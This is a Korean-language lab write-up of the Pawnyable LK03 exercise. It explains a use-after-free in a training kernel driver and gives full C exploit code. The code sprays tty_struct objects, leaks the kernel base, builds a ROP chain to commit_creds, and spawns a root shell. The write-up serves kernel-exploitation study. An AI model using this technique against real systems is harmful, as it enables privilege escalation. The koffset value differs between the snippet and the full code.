[Kernel Exploit Tech][Pawnyable] LK03 - UAF

pawnyable.cafe 내용을 바탕으로 정리한 글입니다.

1. 코드 분석과 취약점 탐지

코드를 살펴보면 전혀 문제될 것이 없어 보인다. 그러나 커널 공간에서 돌아가는 프로그램들은 동일한 리소스를 공유할 수 있고, g_buf가 전역변수라는 사실을 고려하면 다음 module_close()에서 UAF를 탐지할 수 있다.

static int module_close(struct inode *inode, struct file *file)
{
  printk(KERN_INFO "module_close called\n");
  kfree(g_buf);
  return 0;
}

여기서 /dev/holstein이 하나만 열려 있다면 문제가 없다. 그러나 다음과 같이 2개가 동시에 열려 있는 상황에서 하나만 닫힌다면 큰 문제가 발생한다.

int fd1 = open("/dev/holstein", O_RDWR);
int fd2 = open("/dev/holstein", O_RDWR);
close(fd1);

처음 fd1이 열릴 때 g_buf에는 kernel heap상의 주소가 할당된다. 그러나 두 번째 fd2가 열릴 때 g_buf에 heap 재할당을 시도하므로 fd1의 g_buf도 새로 할당된 영역을 가리키게 된다. 이 상황에서 close(fd1)을 통해 fd1을 닫으면 fd1으로는 더이상 아무런 작업도 할 수 없지만, kfree(g_buf)만 호출하고 g_buf를 NULL로 초기화하지 않았기 때문에 fd2에서는 이를 계속 사용할 수 있다.

이를 활용하면

  1. /dev/holstein을 연달아 2개 엶.
  2. 하나를 해제함 (이 시점에서 g_buf는 freelist에 들어감)
  3. /dev/ptmx를 많이 열어 tty_struct를 spray함 (이때 g_buf도 freelist에 존재하므로 g_buf가 가리키는 영역에 tty_struct가 할당됨)
  4. 닫히지 않은 /dev/holstein을 사용해 tty_struct에 접근함

위와 같은 공격 방향을 생각해볼 수 있다.

2. exploit 작성

우선 KASLR을 우회하기 위해 base 주소부터 구한다. gdb를 통해 두 번째로 할당된 g_buf 주소를 기억한 후 spray 후에 이 주소에 접근하면 저번과 같은 방법으로 offset을 구할 수 있다.

image.png

image.png

#define koffset 0x39c60
...
    int fd1 = open("/dev/holstein", O_RDWR);
    int fd2 = open("/dev/holstein", O_RDWR);
    close(fd1);

    for (int i = 0; i < 50; i++)
        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);

    read(fd2, buf, 0x400);
    kbase = *(unsigned long*)&buf[0x18] - koffset;
    g_buf = *(unsigned long*)&buf[0x38] - 0x38;
    printf("kbase = %p\n", kbase);
    printf("g_buf = %p\n", g_buf);

다음으로 ROP Chain을 만들어주고, g_buf의 앞쪽 영역에 쓰면 tty_struct 자체가 망가져버릴 위험이 있어 뒤쪽 영역에 써 줬다. 여기서는 g_buf:0x100에 썼다. (gdb로 읽어봤을 때 아무 값도 없는 영역 뒤쪽이면 아무곳이나 될 것 같다.)

    p = (unsigned long *)&buf[0x100];
    *p++ = 0xdeadbeef;
    *p++ = pop_rdi_ret;
    *p++ = 0;
    *p++ = prepare_kernel_cred;
    *p++ = pop_rcx_ret;
    *p++ = 0;
    *p++ = mov_rdi_rax_rep_movsq_ret;
    *p++ = commit_creds;
    *p++ = swapgs_restore_regs_and_return_to_usermode;
    *p++ = 0xdeadbeef;
    *p++ = 0xcafebebe;
    *p++ = (unsigned long)&win;
    *p++ = user_cs;
    *p++ = user_rflags;
    *p++ = user_rsp;
    *p++ = user_ss;

이제 ioctl()이 ops의 12번째 주소를 호출한다는 사실을 고려해 다음과 같이 ops를 설정해줄 수 있다. 이것도 마찬가지로 뒤쪽 영역에 써 놨다.

    *(unsigned long *)&buf[0x18]  = g_buf + 0x3f8 - 12 * 8;
    *(unsigned long *)&buf[0x3f8] = push_rdx_xor_eax_0x415b004f_pop_rsp_rbp_ret;

마지막으로 spray해둔 객체들에 대해 ioctl()을 수행하면 쉘을 얻을 수 있다. 전체 exploit 코드는 다음과 같다.

펼치기/접기
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>

#define koffset                                     0xc39c60

#define prepare_kernel_cred                         (kbase + 0x72560)
#define commit_creds                                (kbase + 0x723c0)
#define swapgs_restore_regs_and_return_to_usermode  (kbase + 0x800e26)

#define pop_rdi_ret                                 (kbase + 0x14078a)
#define pop_rcx_ret                                 (kbase + 0xeb7e4)
#define mov_rdi_rax_rep_movsq_ret                   (kbase + 0x638e9b)
#define push_rdx_xor_eax_0x415b004f_pop_rsp_rbp_ret (kbase + 0x14fbea)

unsigned long kbase = -1, g_buf = -1;
unsigned long user_cs, user_ss, user_rsp, user_rflags;

static void win() {
char *argv[] = { "/bin/sh", NULL };
char *envp[] = { NULL };
puts("[+] win!");
execve("/bin/sh", argv, envp);
}

static void save_state() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %2\n"
"pushfq\n"
"popq %3\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags)
:
: "memory");
}

int main() {
save_state();
int spray[100];
char buf[0x500];
unsigned long *p, g_buf;

    // 1. Leak kernel base, g_buf
    int fd1 = open("/dev/holstein", O_RDWR);
    int fd2 = open("/dev/holstein", O_RDWR);
    close(fd1);

    for (int i = 0; i < 50; i++)
        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);

    read(fd2, buf, 0x400);
    p = buf;
    kbase = p[3] - koffset;
    g_buf = p[7] - 0x38;
    printf("Kernel base: %p\n", kbase);
    printf("g_buf: %p\n", g_buf);

    p = (unsigned long *)&buf[0x100];
    *p++ = 0xdeadbeef;
    *p++ = pop_rdi_ret;
    *p++ = 0;
    *p++ = prepare_kernel_cred;
    *p++ = pop_rcx_ret;
    *p++ = 0;
    *p++ = mov_rdi_rax_rep_movsq_ret;
    *p++ = commit_creds;
    *p++ = swapgs_restore_regs_and_return_to_usermode;
    *p++ = 0xdeadbeef;
    *p++ = 0xcafebebe;
    *p++ = (unsigned long)&win;
    *p++ = user_cs;
    *p++ = user_rflags;
    *p++ = user_rsp;
    *p++ = user_ss;

    *(unsigned long *)&buf[0x18]  = g_buf + 0x3f8 - 12 * 8;
    *(unsigned long *)&buf[0x3f8] = push_rdx_xor_eax_0x415b004f_pop_rsp_rbp_ret;
    write(fd2, buf, 0x400);

    for (int i = 0; i < 50; i++) {
        ioctl(spray[i], 0, g_buf + 0x100);
    }
    
    getchar();
    return 0;
}

실행하면 쉘을 얻을 수 있다.

Leave a comment